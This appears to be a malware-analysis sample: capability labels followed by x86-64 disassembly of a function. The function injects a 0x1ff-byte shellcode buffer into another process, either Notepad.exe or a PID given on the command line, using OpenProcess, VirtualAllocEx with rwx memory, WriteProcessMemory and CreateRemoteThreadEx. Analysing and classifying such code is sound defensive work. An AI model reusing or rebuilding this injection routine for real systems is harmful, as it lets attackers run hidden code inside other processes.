Function at 0x401833
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x188
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x60], xmm6
movaps xmmword [rbp + 0x70], xmm7
movaps xmmword [rbp + 0x80], xmm8
movaps xmmword [rbp + 0x90], xmm9
movaps xmmword [rbp + 0xa0], xmm10
movaps xmmword [rbp + 0xb0], xmm11
movaps xmmword [rbp + 0xc0], xmm12
movaps xmmword [rbp + 0xd0], xmm13
movaps xmmword [rbp + 0xe0], xmm14
movaps xmmword [rbp + 0xf0], xmm15
mov dword [rbp + 0x150], ecx
mov qword [rbp + 0x158], rdx
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp - 0x10], rax
lea rax, [0x0040813c]
mov qword [rbp - 8], rax
mov rax, rbp
lea rbx, [rbp + 0x60]
mov qword [rax], rbx
lea rdx, [0x00401acc]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x40]
mov rcx, rax
call sym._Unwind_SjLj_Register
call sym.__main
cmp dword [rbp + 0x150], 1
jg 0x401952
lea rax, [rbp + 0x5b]
mov rcx, rax
call fcn.00401ce0
lea rdx, [rbp + 0x5b]
lea rax, [rbp + 0x30]
mov dword [rbp - 0x38], 1
mov r8, rdx
lea rdx, str.Notepad.exe
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::basic_string(wchar_t const*, std::allocator<wchar_t> const&)
lea rax, [rbp + 0x5b]
mov rcx, rax
call fcn.00401cd0
lea rax, [rbp + 0x30]
mov dword [rbp - 0x38], 2
mov rcx, rax
call dbg.GetProcessIdByName(std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> > const&)
mov dword [rbp + 0x5c], eax
mov eax, dword [rbp + 0x5c]
mov dword [0x00409030], eax
lea rax, [rbp + 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
jmp 0x40196e
mov rax, qword [rbp + 0x158]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [0x00409030], eax
mov eax, dword [0x00409030]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [rbp - 0x38], 0xffffffff
call rax
mov qword [0x00409038], rax
mov rax, qword [0x00409038]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1ff
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x00409048], rax
mov rdx, qword [0x00409048]
mov rax, qword [0x00409038]
mov qword [rsp + 0x20], 0
mov r9d, 0x1ff
lea r8, [0x00405020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [0x00409048]
mov rdx, rax
mov rax, qword [0x00409038]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x00409040], rax
mov rax, qword [0x00409040]
test rax, rax
jne 0x401a82
lea rcx, str.ERROR_...
call sym.puts
mov rax, qword [0x00409038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x401ac7
mov rax, qword [0x00409040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp - 0x38], 0xffffffff
call rax
mov rax, qword [0x00409038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, str._n_n_n_Succesfull_
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, 0
mov dword [rbp + 0x28], eax
jmp 0x401b2d
lea rax, [rbp - 0x40]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
mov eax, dword [rbp + 0x28]
movaps xmm6, xmmword [rbp + 0x60]
movaps xmm7, xmmword [rbp + 0x70]
movaps xmm8, xmmword [rbp + 0x80]
movaps xmm9, xmmword [rbp + 0x90]
movaps xmm10, xmmword [rbp + 0xa0]
movaps xmm11, xmmword [rbp + 0xb0]
movaps xmm12, xmmword [rbp + 0xc0]
movaps xmm13, xmmword [rbp + 0xd0]
movaps xmm14, xmmword [rbp + 0xe0]
movaps xmm15, xmmword [rbp + 0xf0]
add rsp, 0x188
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret